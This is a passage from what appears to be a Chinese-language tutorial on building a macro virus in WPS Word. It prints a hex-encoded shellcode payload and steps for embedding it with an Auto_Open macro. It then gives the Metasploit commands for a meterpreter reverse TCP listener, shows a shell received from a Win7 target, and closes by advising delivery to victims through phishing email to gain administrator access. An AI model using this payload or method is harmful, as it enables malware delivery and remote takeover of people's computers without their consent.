0&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00
&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H2C&H30&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H54&H30&H00&H00&H38&H30&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H30&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H30&H00&H00&H00&H00&H00&H00&H9C&H00&H45&H78&H69&H74&H50&H72&H6F&H63&H65&H73&H73&H00&H00&H00&H00&H30&H00&H00&H4B&H45&H52&H4E&H45&H4C&H33&H32&H2E&H64&H6C&H6C&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H58&H6E&H45&H66&H52&HA3&HDA&H2C&H7D&HB6&H7B&H67&H83&H36&HF7&H2F&H31&H96&HF7&H89&HE7&H86&H4C&H98&H40&H4A&HC0&H25&H23&H0E&HA4&H3C&HEB&H72&H98&HED&H38&HCD&H18&H5B&H51&HAC&HD2&H95&H9A&H92&HD8

使用WPS Word将上图所示 两个部分制作成可以使用的宏文件。进入装有WPS Office的Windows系统的靶机，然后打开WPS 2019，单击“开发工具”，接着在工具栏单击“宏”，就会弹出一个“宏”对话框，如下图所示：

起一个宏名，然后单击“创建”按钮，打开宏编辑界面，将我们在Kali 中生成的第一部分，也就是包括Auto_Open在内的几个函数复制到Normal-NewMacros中，覆盖原来的内容。如下图所示：

在WPS Word操作界面中，粘贴在KaliLinux中生成的第二部分，也就是字符形式的攻击载荷部分，如下图所示：

然后将构造好的宏病毒文件另存为宏可用文件。

然后再kali端启动metasploit，启动和设置payload并执行，命令如下：

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
.....
msf6 exploit(multi/handler) > set lhost 192.168. 59.128
.....
msf6 exploit(multi/handler) > set lport 4444
.....
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.59.128:4444

攻击机ip：192.168.59.128
反弹Shell端口：4444

然后在靶机上双击打开木马文件，结果如下：
Kali已经接收到win7反弹回连得shell:

键入shell得到win7的命令行

将该宏病毒文件通过邮件钓鱼等方式发送给目标，一旦目标打开该文件即可拿到其的管理员权限和shell，并进行下一步操作。

参考链接

1. https://jl-zhenlaixiaowei.blog.youkuaiyun.com/article/details/124770692
2. https://mp.weixin.qq.com/s/j1Sn7_Yi4W_XVGT2rLIzyg
3. https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis

欢迎指正交流！！